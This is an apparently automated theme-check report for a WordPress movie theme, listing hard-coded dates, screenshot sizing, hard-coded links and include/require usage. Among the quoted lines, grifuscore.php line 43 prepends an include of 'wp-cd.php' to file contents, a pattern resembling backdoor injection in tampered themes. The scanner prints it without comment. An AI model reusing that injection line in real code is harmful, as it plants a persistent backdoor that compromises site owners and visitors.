  23. Date and time implementation : Use of the_date()At least one hard coded date was found in the file movies.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file microdata.php. Function get_option( 'date_format' ) should be used instead.
  24. Date and time implementation : Use of the_time()At least one hard coded date was found in the file index.php. Function get_option( 'date_format' ) should be used instead.
  25. Screenshot : Screenshot fileScreenshot dimensions are wrong! Detected: 727x545px (727:545). Ratio of width to height should be 4:3.Screenshot size is 727x545px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file generate-options.php.
    Line 42: <li><a href='https://mundothemes.com/forums/foro/5/grifus/' target='_blank' rel='contact
    Possible hard-coded links were found in the file settings-updates.php.
    Line 24: <p><?php _e('To unlock updates, please enter your license key below. If you don't have a licence key, please see','acf'); ?> <a href='http://www.advancedcustomfields.com/pro' target='_blank'><?php _e('details 
    Possible hard-coded links were found in the file metabox.php.
    Line 29: <label class='mtt' for='id' style='font-weight: 300;'><a href='https://www.themoviedb.org/tv' target='_blank' rel='nofollow'><?php _e( 'Ge
    Possible hard-coded links were found in the file metabox.php.
    Line 27: <label class='mtt' for='id' style='font-weight: 300;'><a href='https://www.themoviedb.org/tv' target='_blank' rel='nofollow'><?php _e( 'Ge
    Possible hard-coded links were found in the file functions.php.
    Line 387: <span class='tip'><a href='http://imdb.com' target='_blank'><strong>IMDb</strong></a> - <?php  _e('Ass
    Possible hard-coded links were found in the file 404.php.
    Line 4: <span style='font-size: 45px;font-weight: bold;'><a href='http://movietv.pro/'>Movies Online</a></span>
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  9. Use of includes : Use of include or requireThe theme appears to use include or require : movies.php
    Line 2: <?php $move = get_option('activar-phb'); if ($move == 'true') { } else { include_once 'player.php'; } ?>
    Line 110: <?php include_once 'report.php'; ?>
    Line 146: <?php include_once 'player.php'; ?>
    Line 170: <?php include_once 'comentarios.php'; ?>
    Line 197: <?php include_once 'relacionados.php'; ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class.phpmailer.php
    Line 460: include_once($this->PluginDir . 'class.smtp.php');
    Line 598: include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
    Line 600: include($lang_path.'phpmailer.lang-en.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : report.php
    Line 7: 
    Line 18: require('formularios/class.phpmailer.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : generate-options.php
    Line 2: include 'includes/theme_info.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : options-init.php
    Line 5: include_once 'options/acera_options.php';
    Line 6: include_once 'admin-helper.php';
    Line 7: include_once 'ajax-image.php';
    Line 8: include_once 'generate-options.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : grifuscore.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : wpas.php
    Line 2: require_once('wpas-field.php');
    Line 671: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : fix-duplicates.php
    Line 10: require_once( 'fix-duplicates-admin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : api-helpers.php
    Line 165: include_once( $path );
    Line 321: include( $path );
    Line 554: *  @param	$include (array)
    Line 2552: require_once( ABSPATH . '/wp-load.php' );
    Line 2553: require_once( ABSPATH . '/wp-admin/includes/file.php' );
    Line 2554: require_once( ABSPATH . '/wp-admin/includes/image.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : acf.php
    Line 40: include_once('api/api-helpers.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : field-group.php
    Line 514: include( acf_get_path('admin/views/field-group-options.php') );
    Line 559: include( acf_get_path('admin/views/field-group-locations.php') );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : update.php
    Line 450: include( $path );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : api-pro.php
    Line 25: include( $path );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : tipo.php
    Line 44: include('metabox.php');
    Line 45: include('taxonomia.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : tipo.php
    Line 56: include('metabox.php');
    Line 57: include('taxonomia.php');
    Line 58: include_once 'episodios/tipo.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : index.php
    Line 8: <?php include('includes/funciones/estrenos.php');  ?>
    Line 12: <?php include('includes/funciones/random.php'); ?>
    Line 104: include 'includes/home/'.$item.'.php'; 
    Line 106: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : search.php
    Line 59: include 'includes/home/'.$item.'.php'; 
    Line 61: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : page.php
    Line 38: <?php $activar = get_option('activar-com-pages'); if ($activar == 'true') { include_once 'includes/single/comentarios.php'; } ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : category.php
    Line 57: include 'includes/home/'.$item.'.php'; 
    Line 59: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : movie-tvshows-page.php
    Line 69: include 'includes/home/'.$item.'.php'; 
    Line 71: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : single.php
    Line 16: include_once 'includes/single/movies_print.php'; 
    Line 19: include_once 'includes/single/movies.php'; 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : movie-page.php
    Line 69: include 'includes/home/'.$item.'.php'; 
    Line 71: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : taxonomy.php
    Line 59: include 'includes/home/'.$item.'.php'; 
    Line 61: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : user-profile.php
    Line 28: //require_once( ABSPATH . WPINC . '/registration.php' ); //deprecated since 3
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : add-movie.php
    Line 26: 
    Line 40: include_once 'includes/funciones/posting.php';  ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : letter.php
    Line 79: <?php include 'includes/home/item_1.php'; ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : 404.php
    Line 8: <?php if(get_option('edd_sample_theme_license_key')) { $estrenos = get_option('activar-estrenos'); if ($estrenos == 'true') { include('includes/funciones/estrenos.php'); } else { include('includes/func
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : archive-tvshows.php
    Line 56: include 'includes/home/'.$item.'.php'; 
    Line 58: include 'includes/home/item_1.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes